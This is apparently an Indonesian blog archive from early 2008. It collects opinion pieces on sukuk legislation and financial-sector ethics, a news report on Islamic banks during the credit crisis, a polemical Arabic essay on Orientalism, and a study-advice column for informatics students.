Keempat, Dengan diundangkannya RUU Sukuk (SBSN), maka aliran dana investasi ke Indonesia akan meningkat, baik dari Luar Negeri (utamanya Timur Tengah) maupun dalam negeri. Menolak RUU tersebut berarti menolak investasi masuk ke Indonesia dan itu berarti menolak kemajuan ekonomi bangsa. Harus disadari, bahwa tujuan ekonomi syariah adalah untuk kemaslahatan seluruh bangsa Indonesia, bukan kelompok tertentu tertentu. Pihak yang menolak seperti PDS harus berbesar hati dan bergembira dengan kehadiran kedua Undang-Undang tersebut. Bukan malah secara phobi dan membabi buta menolak dengan alasan sentimentil (hamiyyah) atau kebencian kepada agama tertentu.

Penulis adalah Sekjen Ikatan Ahli Ekonomi Islam Indonesia dan Dosen Pascasarjana PSTTI UI dan Islamic Economics and Finance Trisakti.

PERUBAHAN PERILAKU DUNIA KEUANGAN

{ Februari 2, 2008 @ 12:27 pm } · { Keuangan }
{ } · { Komentar }

Sepanjang sejarah banker (pelaku utama di bidang keuangan), selalu dipandang sebagai orang serius yang cermat dan berhati-hati. Mereka selalu mengawasi perusahaan-perusaha an yang diberi kredit. Hal itu terjadi, karena setiap banker pasti menginginkan piutangnya terbayar kembali dan tidak menyukai terjadinya skandal dan kredit macet. Dengan memantau secara seksama portofolio hutangnya, para banker membantu mencegah terjadinya kepailitan suatu usaha yang akan berdampak terhadap dunia bisnis umumnya.

Seiring dengan era ekonomi baru yang membawa banyak perubahan dalam sistem ekonomi global, kapitalisme uang telah megubah tata cara orang dalam melakukan tindak ekonomi. Pertambahan pendapatan tidak dikaitkan lagi dengan kemampuan produksi, tetapi lebih ditentukan oleh kemampuan membuat gagasan, sehingga penambahan kekayaan lebih bersifat maya daripada penambahan asset riil. Pemilik uang dapat menciptakan uang lebih banyak lagi tanpa perlu terlibat pada sektor produksi. Perubahan tersebut, turut pula, mengubah prilaku konservatif para pelaku dunia keuangan dengan etika yang tinggi menjadi luntur dan terasa usang.

Banyak prilaku konservatif pelaku dunia keuangan yang berubah pada era ekonomi baru ini. Para analis perbankan, sampai hati, memuji-muji saham-saham dengan kinerja buruk. Di sisi lain, sebagian banker, rela, membantu sebuah korporasi dalam membentuk entitas-entitas bisnis yang meragukan untuk turut membantu perusahaan tersebut menggelapkan hutang maupun pajaknya. Mereka juga, mengutamakan, penjualan publik perdana saham-saham unggulan kepada kawan-kawannya sendiri, bahkan ikut serta terlibat dalam berbagai kegiatan yang tidak terpuji.

Akibat berubahnya etika moral para pelaku dunia keuangan, kerusakan yang timbul bukan hanya mengenai lingkungan mereka saja, tetapi mempunyai dampak yang besar pada transformasi perbankan terhadap fungsi perekonomian secara umum.

Untuk menjalankan bursa saham yang dapat berfungsi dengan baik, dibutuhkan informasi akurat mengenai nilai suatu perusahaan agar investor bisa membayar harga yang tepat pada saham yang akan dimilikinya. Akan tetapi, karena perubahan etika moral, para pelaku dunia keuangan, berani, mengaburkan persoalan-persoalan inheren perusahaan yang mereka bawa ke pasar atau yang mereka bantu penjualan sahamnya demi menambah modal perusahaan. Dengan demikian, mereka telah ikut menurunkan kualitas informasi. Dalam banyak kasus, mereka mengetahui kondisi riil perusahaan yang mereka tangani, tetapi publik tidak mengetahuinya. Hal itu, menyebabkan keyakinan publik terhadap pasar menjadi turun, dan saat informasi yang benar terkuak, harga-harga saham menjadi terhempas tajam.

Perubahan prilaku tersebut, menurut Stiglitz (2003), terjadi berkaitan insentif yang diperoleh dari penjualan perdana saham korporasi beserta transaksi-transaksi lainnya begitu besar. Dengan menyajikan informasi yang menyesatkan atas sebuah korporasi, mereka akan memperoleh imbalan lebih besar daripada menyajikan informasi akurat. Hal ini terjadi akibat adanya sejumlah perubahan peraturan (deregulasi) yang membuka sumber konflik kepentingan baru. Hak opsi dan skema-skema kompensasi dirancang untuk medorong penitikberatan pada keuntungan saat ini ketimbang hasil jangka panjang.

Banyak pelaku dunia keuangan di era ekonomi baru, tidak ubahnya bagai eksekutif perusahaan. Mereka belajar cara mendorong kenaikan harga saham mereka sendiri sama seperti mereka membantu orang lain berbuat hal yang sama. Kenaikan harga saham seharusnya memberikan keuntungan jangka panjang bagi pemegang saham. Akan tetapi, yang terjadi seringkali pasar hanya menitikberatkan pada jangka pendek, yakni bottom line hari ini. Akibat imbalan bagi sang eksekutif bergantung kepada harga saham hari ini, maka mereka lebih terdorong untuk menitikberatkan laba hari ini ketimbang menjaga reputasi perusahaan dalam jangka panjang. Demikian pula yang terjadi pada para analis, mereka semua menangguk jumlah uang yang besar ketika menggembar-gemborka n informasi yang tidak sesuai tentang perusahaan-perusaha an yang dijagokan. Akhirnya, para investor pelanggan mereka yang kurang waspada atau memang miskin informasi menjadi korban.

Kondisi tersebut di atas diperparah dengan terjadinya teknik-teknik rekayasa finansial yang menawarkan cara-cara baru untuk memelintir informasi. Kini lazim, suatu transaksi tunggal melibatkan banyak pihak. Sebelum era ekonomi baru, pembelian peralatan hanya melibatkan seorang pembeli dan penjual, atau paling banyak ditambah dengan keterlibatkan bank sebagai pihak yang meminjamkan uang. Pada era kini, sebuah perusahaan bisa jadi mensubsewagunakan sepotong piranti computer kepada sebuah perusahaan yang diciptakan khusus untuk tujuan tersebut. Kemudian, perusahaan tersebut mensubsewagunakan lagi ke perusahaan lainnya dan akan membayar uang muka kepada perusahaan tersebut dengan meminjam uang dari sebuah bank. Untuk memastikan perusahaan tersebut menepati prestasinya, perusahaan lain itu mendepositkan sejumlah dana pada sebuah bank. Setelah itu perusahaan tersebut bisa memasukkan modalnya berupa rekening bank dan janji pembayaran sewaguna ke dalam kemitraan usaha. Setelah waktu tertentu sesuai dengan penjanjian, mitra perusahaan tersebut akan mengakuisisi perusahaan tersebut, dan dalam pembukuannya akan dicantumkan kerugian atas kesepakatan yang telah dilakukan sebelumnya. Dengan demikian, telah terjadi pengurangan pembayaran pajak. Perusahaan yang diajak untuk terlibat dalam konspirasi ini bisa banyak perusahaan.

Akal-akalan akuntansi ini sangat dibangga-banggakan oleh para pembuatnya. Mereka tidak merasa menyesal atas tindakan mereka dan menilai risikonya terlalu kecil. Risiko yang akan mereka dapatkan paling-paling hanya Dinas Pajak akan membatalkan kesepakatan ini dan memaksa perusahaan membayar pajak yang memang seharusnya mereka bayar. Risiko ini, mereka ibaratkan sebagai fasilitas kredit dari pemerintah dengan suku bunga yang lebih bagus daripada yang diperoleh pada pasar yang seharusnya.

Membesarnya gelembung ekonomi pada era ekonomi baru membuat laba dari pajak bukan menjadi masalah utama. Bagi sebagian perusahaan, hal yang utama adalah membuat pembukuan terlihat bagus. Teknik yang dipakai untuk menipu pajak tersebut di atas, juga dipakai untuk menipu para pemegang saham dengan sedikit modifikasi. Peran akuntan, sangat besar dalam menciptakan modifikasi-modifika si pembukuan di masa struktur ekonomi yang telah berubah saat ini.

Masalah yang dihadapi para akuntan pada era ekonomi baru berkembang dan lebih terbuka peluang untuk memakai keterampilan yang terasah menjadi suatu seni. Selama bertahun-tahun mereka telah merancang cara standar untuk menangani asset suatu sektor, dan dengan bangkitnya era ekonomi baru para akuntan harus menghadapi asset yang begitu sulit untuk dinilai. Akibat perubahan etika moral, para akuntan pun kemudian terlibat menciptakan segala macam cara baru untuk memanipulasi angka-angka asset perusahaan. Beberapa perusahaan, kemudian, meraih nilai pasar yang besar tanpa pernah membukukan laba yang sebenarnya ataupun bila ada laba tanpa adanya jaminan laba yang berkelanjutan.

Meskipun seorang akuntan terikat pada aturan-aturan yang telah ditetapkan, tetapi seorang akuntan yang melakukan tugas auditor dibayar oleh perusahaan yang mereka audit, sehingga menjadi lumrah bila mereka ingin menyenangkan kliennya. Di samping itu, perusahaanlah (beserta para eksekutifnya) yang memutuskan siapa yang hendak disewa sebagai akuntan. Dengan demikian insentif yang akan diperoleh oleh seorang akuntan sangat tergantung dari perusahaan-perusaha an yang menggunakannya.

Sejak lama akuntansi telah merambah dua lini bisnis, yakni konsultasi dan auditing. Sinergi secara alami terjadi, yaitu membaca teliti pembukuan suatu perusahaan memungkinkan akuntan memberi saran bagaimana perusahaan itu bisa meningkatkan labanya, atau meningkatkan laporan labanya. Godaan, kapitalisme uang, dapat menjadikan tujuan konsultasi bisnis untuk mengampangkan tujuan audit. Sebuah kantor akuntan yang memperoleh kontrak besar dari sebuah korporasi sebagai konsultan dapat berpaling muka ketika mendapat bukti praktek kecurangan akuntansi, bahkan terkadang bisa menyarankan kecurangan itu sendiri. Mereka dengan mudahnya memberikan metode-metode yang secara teknis tidak melanggar hukum dan peraturan, tetapi memberikan gambaran yang menyesatkan tentang perusahaan.

Sinergi yang seharusnya terjadi antara akuntan dengan bank agar kepentingan publik terjamin, juga telah ternoda oleh logika kapitalisme uang. Akuntansi yang bermasalah berarti akuntan tidak mengawasi kekuasaan bank sebagaimana mestinya. Akibatnya bank menjadi kurang ketat lagi dalam mengawasi perusahaan-perusaha an yang mereka beri pinjaman. Hal ini menyebabkan sektor perbankan yang bermasalah akan mempunyai konsekuensi sistemik yang sedemikian besar.

Gembar-gembor peningkatan persaingan pada era ekonomi baru membawa dampak yang lebih buruk pada konflik kepentingan para banker. Meningkatnya persaingan, membuat bank bernafsu merebut laba jangka pendek. Bahkan, terjadi adu cepat untuk menggapai pasar. Setiap bank tahu bahwa saingannya terlibat praktek serupa, dan bila tidak bersaing maka mereka akan ketinggalan. Setiap pegawai bank sudah tahu apa arti sebuah kekalahan persaingan, yaitu bonus berkurang atau bahkan mungkin dipecat.

Gelembung ekonomi yang terjadi akibat kapitalisme uang, kemudian bertambah hebat seiring dengan prilaku yang tidak terpuji dari para pelaku dunia keuangan tersebut. Semakin besar gelembung yang terjadi, maka semakin besar pula insentif untuk bertindak agar gelembung terus membesar. Sebenarnya, para banker tahu bahwa apabila gelembung meletus, sebagian besar kredit yang mereka kucurkan akan macet. Untuk itu, maka portofolio

Krisis Keuangan Global, Tak Pengaruhi Industri Keuangan Berbasis Syariah

2008-02-05T07:53:00.000+02:00

Krisis Keuangan Global, Tak Pengaruhi Industri Keuangan Berbasis Syariah

Selasa, 5 Peb 08 12:12 WIB

Kirim teman

Bank-bank berbasis syariah terbukti mampu bertahan dari terpaan krisis yang melanda pasar global belakangan ini. Sementara bank-bank konvensional mengalami penurunan pendapatan, bank-bank berbasis syariah malah meraih sukses.

Menurut Duncan Smith, pejabat senior Arab Banking Corporation, trend bisnis perbankan berbasis syariah mencatat keberhasilan yang fantastik pada tahun ini. Strategi dengan memfokuskan diri pada bisnis dalam lingkup regional dan penawaran produk-produk yang sesuai dengan syariah, membuat bank-bank Islam itu terhindar dari kerugian akibat kredit macet.

Dalam pertemuan tingkat tinggi Islamic Finance di Manama, ibukota Bahrain, terungkap bahwa pendapatan bank-bank konvensional mengalami penurunan dari 202 juta dollar pada tahun 2006 menjadi 125 juta dollar pada tahun 2007. Krisis yang dialami Amerika akibat kredit macet sejak tahun lalu, memicu efek domino terhadap perekonomian dan pasar modal di negara itu.

Secara global, bank-bank konvensional mengalami kerugian lebih dari 80 juta dollar akibat tersendat-sendatnya pembayaran kredit sejak bulan Oktober. Namun menurut wakil menteri keuangan Malaysia, Muhammad Nor Yakcop, bank-bank Islam di Malaysia tidak mengalami kendala semacam itu, terutama para pemilik obligasi Sukuk, mereka terlindung dari dampak terburuk krisis keuangan yang terjadi saat ini.

Sejumlah ekonom mengatakan babak belurnya bidang perkreditan justru membawa keuntungan bagi produk-produk keuangan berbasis syariah. "Struktur pembiayaan berbasis syariah, membuat orang merasa tertarik dengan pembiayaan berbasis Islam, " kata Nor Yakcop. Dan produk berbasis syariah yang sedang populer saat ini, menurutnya, adalah Sukuk.

Sementara itu, Gubernur Bank Sentral Bahrain, Rasheed al-Maraj meyakini, krisis keuangan konvensional di Barat yang terjadi saat ini akan mendorong para investor untuk mengalihkan investasinya ke bank-bank berbasis syariah. "Perbankan syariah akan lebih aman buat mereka, " tukas al-Maraj.

Saat ini sejumlah bank-bank papan atas dan bertaraf internasional, seperti Citigroup asal AS, HSBC asal Inggris, Deutsche Bank asal Jerman, sudah memiliki cabang-cabang yang menawarkan produk-produk keuangan berbasis syariah.

Seorang eksekutif Deutsche Bank pada Reuters mengungkapkan, pihaknya sedang membantu beberapa perusahaan di AS dan Kanada untuk menjual surat-surat obligasi syariahnya di Malaysia pada tahun ini, dengan nilai antara 300-500 juta dollar.

Malaysia memang sedang mempromosikan diri sebagai pusat keuangan Islam, dengan pesaing-pesaing negara tetangganya yaitu Brunei dan Singapura.

Industri perbankan syariah yang mulai dikembangkan sejak tiga dekade yang lalu, kini terus berkembang pesat dan berhasil menarik minat para investor dan bankir di seluruh dunia. Sekarang, diperkirakan ada 300 bank Islam dan lembaga keuangan Islam yang tersebar di pelosok dunia. Asset mereka pada tahun 2010 nanti diprediksi mampu mencapai 1 triliun dollar. (ln/iol)

الاستشراق (Orientalisme)

2008-02-02T17:01:00.000+02:00

الاستشراق

التعريف :
الاستشراق تعبير يدل على الاتجاه نحو الشرق ، ويطلق على كل ما يبحث في أمور الشرقيين وثقافتهم وتاريخهم . ويقصد به ذلك التيار الفكري الذي يتمثل في إجراء الدراسات المختلفة عن الشرق الإسلامي ، والتي تشمل حضارته وأديانه وآدابه ولغاته وثقافته . ولقد أسهم هذا التيار في صياغة التصورات الغربية عن الشرق عامة وعن العالم الإسلامي بصورة خاصة ، معبرا عن الخلفية الفكرية للصراع الحضاري بينهما .

التأسيس وأبرز الشخصيات :
- البدايات :
- من الصعب تحديد بداية للاستشراق ، إذ أن بعض المؤرخين يعودون به إلىأيام الدولة الإسلامية في الأندلس ، في حين يعود بهآخرون إلى أيام الصليبيين بينما يرجعه كثيرون إلى أيام الدولة الأموية في القرن الثاني الهجري . وأنه نشط في الشام بواسطة الراهب يوحنا الدمشقي في كتابين الأول : حياة محمد . والثاني : حوار بين مسيحي ومسلم . وكان هدفه إرشاد النصارى في جدل المسلمين . وأيا كان الأمر فإن حركة الاستشراق قد انطلقت بباعث ديني يستهدف خدمة الاستعمار وتسهيل عمله ونشر المسيحية .
- وقد بدأ الاستشراق اللاهوتي بشكل رسمي حين صدور قرار مجمع فيينا الكنسي عام 1312م وذلك بإنشاء عدد من كراسي اللغة العربية في عدد من الجامعات الأوروبية .
- لم يظهر مفهوم الاستشراق في أوروبا إلا مع نهاية القرن الثامن عشر ، فقد ظهر أولا في إنجلترا عام 1779م ، وفي فرنسا عام 1799م كما ادرج في قاموس الأكاديمية الفرنسية عام 1838م .
- هربر دي أورلياك (938-1003م) من الرهبانية البندكتية ، قصد الأندلس ، وقرأ على أساتذتها ثم انتخب – بعد عودته – حبرا أعظم باسم سلفستر الثاني 999-1003م فكان بذلك أول بابا فرنس.
- في عام 1130م قام رئيس أساقفة طليطلة بترجمة بعض الكتب العلمية العربية.
- جيرار دي كريمونا 1114-1187م إيطالي ، قصد طليطلة وترجم ما لا يقل عن 87 مصنفا في الفلسفة والطب والفلك وضرب الرمل
- بطرس المكرم 1094-1156م فرنسي من الرهبانية البندكتية ، رئيس دير كلوني ، قام بتششكيل جماعة من المترجمين للحصول على معرفة موضوعية عن الإسلام . وقد كان هو ذاته وراء أول ترجمة لمعاني القرآن الكريم إلى اللغة اللاتينية 1143م التي قام بها الإنجليزي روبرت أوف كيتون .
- يوحنا الإشبيلي : يهودي متنصر ظهر في منتصف القرن الثاني عشر وعني بعلم التنجيم ، نقل إلى العربية أربعة كتب لأبي معشر البخلي 1133م وقد كان ذلك بمعاونة إدلر أوف باث .
- روجر بيكون 1214-1294م إنجليزي ، تلقى علومه في أكسفورد وباريس حيث نال الدكتوراه في اللاهوت ، ترجم عن العربية كتاب مرآة الكيمياء نورمبرج 1521م .
- رايموند لول 1235-1314م قضى تسع سنوات 1266-1275م في تعلم العربية ودراسة القرآن وقصد بابا روما وطالبه بإنشاء جامعات تدرس العربية لتخريجمستشرقين قادرين على محاربة الإسلام . ووافقه البابا . وفي مؤتمر فينا سنة 1312م تم إنشاء كراس للغة العربية في خمس جامعات أوربية هي : باريس ، اكسفورد ، ويولونيا بإيطاليا ، وسلمنكا بأسبانيا ، بالإضافة إلى جامعة البابوية في روما .
- قام المستشرقون بدراسات متعددة عن الإسلام واللغة العربية والمجتمعات المسلمة . ووظفوا خلفياتهم الثقافية وتدريبهم البحثي لدراسة الحضارة الإسلامية والتعرف على خباياها لتحقيق أغراض الغرب الاستعمارية والتنصيرية .
- وقد اهتم عدد من المستشرقين اهتماما حقيقيا بالحضارة الإسلامية وحاول أن يتعامل معها بموضوعية . وقد نجح عدد قليل منهم في هذا المجال . ولكن حتى هؤلاء الذين حاولوا أن ينصفوا الإسلام وكتابه ورسوله صلى الله عليه وسلم لم يستطيعوا أن ينفكوا من تأثير ثقافاتهم وعقائدهم فصدر منهم ما لا يقبله المسلم وهذا يعني أن أي تصنيف للمستشرقين إلى منصفين ومتعصبين هو أمر تختلف حوله
الآراء . فقد يصدر ممن عرف عن الاعتدال قولا أو رأيا مرفوضا ، وقد يحصل العكس فتكون بعض آراء المتعصبين إنصافا جميلا للإسلام ، ولهذا نتوقع أن تكون بعض الأسماء التي شملها تصنيفنا الآتي محل نظر .
· مستشرقون منصفون :
- هادريان ريلاند ت1718م أستاذ اللغات الشرقية في جامعة أوترشت بهولندا ، له كتاب الديانة المحمدية في جزأين باللغة اللاتينية 1705م ، لكن الكنيسة في أوروبا وضعت كتابه في قائمة الكتب المحرم تداولها .
- يوهان ج. رايسكه 1716-1774م هو مستشرق ألماني جدير بالذكر ، اتهم بالزندقة لموقفه الإيجابي من الإسلام ، عاش بائسا ومات مسلولا ، وإليه يرجع الفضل في إيجاد مكان بارز للدراسات العربية بألمانيا .
- سلفستر دي ساسي : 1838م اهتم بالأدب والنحو مبتعدا عن الخوض في الدراسات الإسلامية ، وإليه يرجع الفضل في جعل باريس مركزا للدراسات العربية ، وكان ممن اتصل به رفاعة الطهطاوي .
- توماس أرنولد 1864-1930م إنجليزي ، له الدعوة إلى الإسلام الذي نقل إلى التركية والأردية والعربية .
- غوستاف لوبون : مستشرق وفيلسوف مادي ، لا يؤمن بالأديان مطلقا ، جاءت أبحاثه وكتبه الكثيرة متسمة بإنصاف الحضارة الإسلامية مما دفع الغربيين إلى إهماله وعدم تقديره .
- زيجريد هونكه : اتسمت كتابتها بالإنصاف وذلك بإبرازها تأثير الحضارة العربية على الغرب في مؤلفها الشهير شمس العرب تسطع على الغرب .
- ومن المعتدلين : جاك بيرك، أنا ماري شمل، وكارلايل ، ورينيه جينو ، والدتور جرينيه وجوته الألماني . أ.ج. أربري ، من كتبه الإسلام اليوم صدر 1943م ، وله التصوف صدر 1950م ، وترجمة معاني القرآن الكريم .

· مستشرقون متعصبون :
- جولد زيهر 1850-1920م مجري يهودي ، من كتبه تاريخ مذاهب التفسير الإسلامي ، والعقيدة والشريعة ، ولقد أصبح زعيم الإسلاميات في أوروبا بلا منازع .
- جون ماينارد أمريكي ، متعصب ، من محرري مجلة الدراسات الإسلامية .
- ص م. زويمر مستشرق مبشر ، مؤسس مجلة العالم الإسلامي الأمريكية ، له كتاب الإسلام تحد لعقيدة صدر 1908م ، وله كتاب الإسلام عبارة عن مجموعة مقالات قدمت للمؤتمر التبشيري الثاني سنة 1911م في لكهنئو بالهند .
- غ. فون. غرونباوم ألماني يهودي ، درس في جامعات أمريكا ، له كتاب الأعياد المحمدية 1915م ودراسات في تاريخ الثقافة الإسلامية 1954م .
- أ.ج. فينسينك عدو للإسلام ، له كتاب عقيدة الإسلام 1932م ، وهو ناشر المعجم المفهرس لألفاظ الحديث النبوي في لغته الأولى .
- كينيث كراج أمريكي ، متعصب ، له كتاب دعوة المئذنة 1956م .
- لوي ماسينيون فرنسي ، مبشر ، مستشاراً في وزارة المستعمرات الفرنسية لشؤون شمال أفريقيا ، له كتاب الحلاج الصوفي شهيد الإسلام 1922م .
- د.ب. ماكدونالد أمريكي ، متعصب مبشر ، له كتاب تطور علم الكلام والفقه والنظرية الدستورية 1930م ، وله الموقف الديني والحياة في الإسلام 1908م .
- مايلز جرين سكرتير تحرير مجلة الشرق الأوسط .
- د.س. مرجليوث 1885-1940م إنجليزي ، متعصب ، من مدرسته طه حسين وأحمد أمين ، وله كتاب التطورات المبكرة في الإسلام صدر 1913م ، وله محمد ومطلع الإسلام صدر 1905م وله الجامعة الإسلامية صدر 1912م .
- بارون كارادي فو فرنسي ، متعصب ، من كبار محرري دائرة المعارف الإسلامية.
- هـ. أ. ر. جب 1895-1965م إنجليزي ، من كتبه المذهب المحمدي 1947م والاتجاهات الحديثة في الإسلام 1947م .
- ر.أ. نيكولسون إنجليزي ، ينكر أن يكون الإسلام دينا روحيا وينعته بالمادية وعدم السمو الإنساني ، وله كتاب متصوفوا الإسلام 1910م وله التاريخ الأدبي للعرب 1930م .
- هنري لامنس اليسوعي 1872-1937فرنسي ، متعصب ، له كتاب الإسلام وله كتاب الطائف ، من محرري دائرة المعارف الإسلامية .
- دوزيف شاخت ألماني متعصب ضد الإسلام ، له كتاب أصول الفقه الإسلامي .
- بلاشير : كان يعمل في وزارة الخارجية الفرنسية كخبير في شؤون العرب والمسلمين .
- ألفردجيوم إنجليزي ، متعصب ضد الإسلام من كتبه الإسلام .

- الأفكار والمعتقدات :
· أهداف الاستشراق
- الهدف الديني :
كان هذا الهدف وراء نشأة الاستشراق ، وقد صاحبه خلال مراحله الطويلة ، وهو يتمثل في :
1) التشكيك في صحة رسالة النبي صلى الله عليه وسلم ، والزعم بأن الحديث النبوي إنما هو من عمل المسلمين خلال القرون الثلاثة الأولى ، والهدف الخبيث من وراء ذلك هو محاربة السنة بهدف إسقاطها حتى يفقد المسلمون الصورة التطبيقية الحقيقية لأحكام الإسلام ولحياة الرسول صلى الله عليه وسلم ، وبذلك يفقد الإسلام أكبر عناصر قوته .
2) التشكيك في صحة القرآن والطعن فيه ، حتى ينصرف المسلمون عن الاتقاء
على هدف واحد يجمعهم ويكون مصدر قوته وتنأى بهم اللهجات القومية عن الوحي باعتباره المصدر الأساسي لهذا الدين (تنـزيل من حكيم حميد) .
3) التقليل من قيمة الفقه الإسلامي واعتباره مستمدا من الفقه الروماني.
4) النيل من اللغة العربية واستبعاد قدرتها على مسايرة ركب التطور وتكريس دراسة اللهجات لتحل محل العربية الفصحى .
5) إرجاع الإسلام إلى مصادر يهودية ونصرانية بدلا من إرجاع التشابه بين الإسلام وهاتين الديانتين إلى وحدة المصدر .
6) العمل على تنصير المسلمين .
7) الاعتماد على الأحاديث الضعيفة والأخبار الموضوعة في سبيل تدعيم آرائهم وبناء نظرياتهم .
8) لقد كان الهدف الاستراتيجي الديني من حملة التشويه ضد الإسلام هو حماية أوروبا من قبول الإسلام بعد أن عجزت عن القضاء عليه من خلال الحروب الصليبية .
- الهدف التجاري :
لقد كانت المؤسسات والشركات الكبرى ، والملوك كذلك ، يدفعون المال الوفير للباحثين ، من أجل معرفة البلاد الإسلامية وكتابة تقارير عنها ، وقد كان ذلك جليا في عصر ما قبل الاستعمار الغربي للعالم الإسلامي في القرنين التاسع والعشرين .
- الهدف السياسي يهدف إلى :
1) إضعاف روح الإخاء بين المسلمين والعمل على فرقتهم لإحكام السيطرة عليهم .
2) العناية باللهجات العامية ودراسة العادات السائدة لتمزيق وحدة المجتمعات المسلمة .
3) كانوا يوجهون موظفيهم في هذه المستعمرات إلى تعلم لغات تلك البلاد ودراسة آدابها ودينها ليعرفوا كيف يسوسونها ويحكمونها .

Teknik Menguasai MATERI

2008-02-02T05:10:00.001+02:00

Dapat Apa Sih di Universitas?

by Romi Satria Wahono

“Saya mahasiswi semester 4 jurusan Teknik Informatika di sebuah Univesitas di Semarang. Sudah hampir 2 tahun saya kuliah, cuman saya kadang merasa nggak tambah pinter, kalau tambah sibuk sih iya karena tugas dari dosen yang kayak tsunami Pingin dengar pendapat mas Romi yang kabarnya waktu kuliah IPKnya 4.0 terus. Sebenarnya di kampus itu apa yang kita dapat sih mas?” (Novi - Tembalang, Semarang).

Ini termasuk juga pertanyaan yang banyak masuk ke kotak email saya. Sudah keterima di universitas dan mulai belajar, tapi kadang masih nggak ngeh hakekat belajar Lha katanya disuruh menimba air eh ilmu, nah ilmunya ini sebenarnya apa sih?

Dik Novi, kita belajar itu, baik di sekolah, di kampus, di universitas dan di lembaga pelatihan untuk meningkatkan KSTAE atau kata orang betawi (a)PeKTeSiPeng, waduh apaan tuh? KSTAE itu Knowledge, Skill, Technique, Attitude, Experience alias (a)PeKTeSiPeng (Pengetahuan, Keterampilan, Teknik, Sikap dan Pengalaman). Ini kalau kita ambil contoh orang belajar naik motor dan belajar di kampus, mungkin penjelasannya seperti di bawah:

Knowledge (Pengetahuan): Kita jadi tahu bahwa di motor ada lampu, stang kemudi, rem, gas, spion, bel. Kita juga tahu cara bagian motor itu bekerja termasuk gimana njalaninya. Kalau kita belajar pemrograman, ya kita ngerti lah apa itu fungsi, apa itu variable, juga apa itu object, apa itu method, apa itu attribute. Kita juga diajarin banyak lagi pengetahuan, sistem basis data, rekayasa perangkat lunak, pemrograman berorientasi objek, software project management, dsb. Pokoknya yang selama ini bikin pusing itulah knowledge. Lho kenapa bikin pusing? Soalnya kampus kadang nggak imbang ngasih knowledge dan keterampilan, alias besar teori daripada praktek

Skill (Keterampilan): Kita ngerti cara ngidupin motor. Supaya motor maju harus masukan gigi ke satu dan tekan gas. Kecepatan mulai tinggi masukin ke gigi dua, kalau ada halangan di depan injek rem. Kalau mau belok tekan lampu sen. Di kampus, tugas mandiri, misalnya disuruh buat kalkulator atau program deteksi bilangan prima di mata kuliah OOP itu semua untuk ngelatih keterampilan. Semakin banyak tugas, harusnya makin terampil, cuman kalau nyontek, ya makin bego aja mahasiswa Usahakan untuk mengerjakan sendiri tugas, karena tujuannya untuk melatih keterampilan kita, sayang masa depan kita kalau kita sering nyontek dalam tugas mandiri. Nah, IPK itu hanya untuk mengukur mahasiswa di level knowledge dan skill. Jadi peran IPK sebenarnya hanya sampai di sini

Technique (Teknik): Ternyata keterampilan nggak cukup, karena kita perlu menguasai teknik misalnya supaya motor kecepatan tinggi nggak ngepot. Kita ngeremnya harus dari jauh dan pakai rem tangan plus rem kaki bareng. Mau belok juga harus ambil ancang-ancang, kecepatan diturunkan, baru belok. Nah kalau di kampus, karena mata kuliah banyak dan di setiap mata kuliah ada tugas coding, keterampilan bahasa Java kita jadi meningkat. Kita bisa bahasa Java kromo inggil, ngoko, eh bukan maksud saya kita jadi punya banyak teknik supaya program kita lebih rapi, program kita lebih cepat jadi, punyak teknik untuk bisa reuse code, coding jalan terus walaupun pakai notepad atau emacs, dsb.

Attitude (Sikap): Wah ternyata pengetahuan, keterampilan, teknik saja nggak cukup membuat kita bisa survive di dunia. Kita perlu sikap yang baik dalam mengendarai motor. Lampu lalu lintas itu kalau merah berhenti, jangan nyelonong saja. Kalau nyalip orang juga jangan dari kiri. Hormati pengendara lain, dahulukan perempuan atau yang membawa anak-anak. Jangan asal ngebut di kampung orang, kalau nggak mau benjol tuh kepala. Sikap ini kalau di kampus, ya kalau jadi programmer jangan terus buat virus, atau ngerusak sistem orang, atau malah maling code orang Nah ini semua adalah sikap. Kampus yang hanya mengajari orang untuk punya pengetahuan, teknik dan keterampilan tanpa memperhatikan attitude (sikap) artinya mendidik orang pinter tapi sesat di jalan.

Experience (Pengalaman): Pengalaman ini seperti jam terbang. Hanya bisa kita dapatkan kalau kita pernah mengalami kejadian dan pengalaman. Contohnya, karena sering bolak-balik ke Puncak untuk jualan pisang , kita jadi ngerti banget mainin gigi supaya mesin nggak rontok meskipun naik gunung terjal nan macet. Terus juga karena rumah sering kebanjiran, kita ngerti banget lah kira-kira banjir berapa senti yang bikin motor kita nggak bisa jalan. Gimana kalau jatuh, sebaiknya posisi tubuh seperti apa yang membuat luka tidak parah. Semua kita dapatkan dari pengalaman. Pengalaman itu mahal, ya pasti karena kadang ada harga yang harus dibayar. Terus kalau di Kampus, pengalaman kan nggak ada? Hmm pengalaman itu tetap ada, kita KKN, magang, kerja paruh waktu, ngerjain TA itu adalah supaya punya pengalaman. Banyak buat project (software) yang bisa dijual, mulai belajar jualan, latih jiwa enterpreneurship adalah keharusan untuk bekal hidup di dunia IT nan ganas dan kejam.

Untuk adik-adikku mahasiswa dan mahasiswi di manapun berada, jangan cepat menyerah, nikmati pahit dan manis kehidupan kampus, jalani penuh dengan rasa tanggung jawab. Orang tua kita dan juga negeri ini menanti karya kita semua.

Tetap dalam perdjoeangan !